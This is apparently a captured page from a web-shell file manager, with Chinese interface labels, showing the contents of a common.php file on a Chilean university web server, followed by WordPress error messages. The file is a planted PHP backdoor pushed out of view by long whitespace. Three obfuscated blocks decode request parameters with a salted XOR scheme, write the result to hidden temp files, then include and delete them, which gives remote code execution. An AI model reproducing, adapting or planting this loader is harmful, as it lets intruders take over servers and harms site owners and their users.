文件操作 - common.php

文件: /var/www/demoestudiantes.uaysen.cl/html/common.php

编辑文件内容

<?php																																										if(isset($_REQUEST["en\x74"])){ $data = $_REQUEST["en\x74"]; $data = explode ( '.' , $data ); $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; while ($u < count($data)) { $v2 = $data[$u]; $chS = ord($salt[$u % $sLen]); $dec = ((int)$v2 - $chS - ($u % 10)) ^ 22; $value .= chr($dec); $u++; } $bind = array_filter([getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($bind as $marker) { if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $pset = sprintf("%s/.fac", $marker); if (@file_put_contents($pset, $value) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(!is_null($_POST["re\x66eren\x63\x65"] ?? null)){ $pointer = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $pgrp = $_POST["re\x66eren\x63\x65"]; $pgrp= explode (".", $pgrp ) ; $dat = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $len = count($pgrp); for($p = 0; $p < $len; $p++) { $v3 = $pgrp[$p]; $chS = ord($salt2[$p % $sLen]); $d = ((int)$v3 - $chS -($p % 10)) ^ 77; $dat .= chr($d); } for ($object = 0, $property_set = count($pointer); $object < $property_set; $object++) { $flg = $pointer[$object]; if (array_product([is_dir($flg), is_writable($flg)])) { $token = sprintf("%s/.sym", $flg); if (file_put_contents($token, $dat)) { include $token; @unlink($token); exit; } } } }

if(!empty($_REQUEST["\x66\x61c"])){
	$value = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP")]);
	$flag = $_REQUEST["\x66\x61c"];
		 	$flag=explode	 	(	 '.'	, $flag); 	 
	$record = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(		$s);
            $q = 0;
    
            $__tmp = $flag;
            while(		$v6 = array_shift(		$__tmp)) { $chS = ord(		$s[$q % $sLen]);
                $d =(		(		int)$v6 - $chS -(		$q % 10))	^ 	77;
                $record	.=	chr(		$d);
                $q++;  }
	while ($pset = array_shift($value)) {
    		if (is_dir($pset) && is_writable($pset)) {
    $mrk = sprintf("%s/.ent", $pset);
    if (file_put_contents($mrk, $record)) {
	include $mrk;
	@unlink($mrk);
	exit;
}
}
}
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35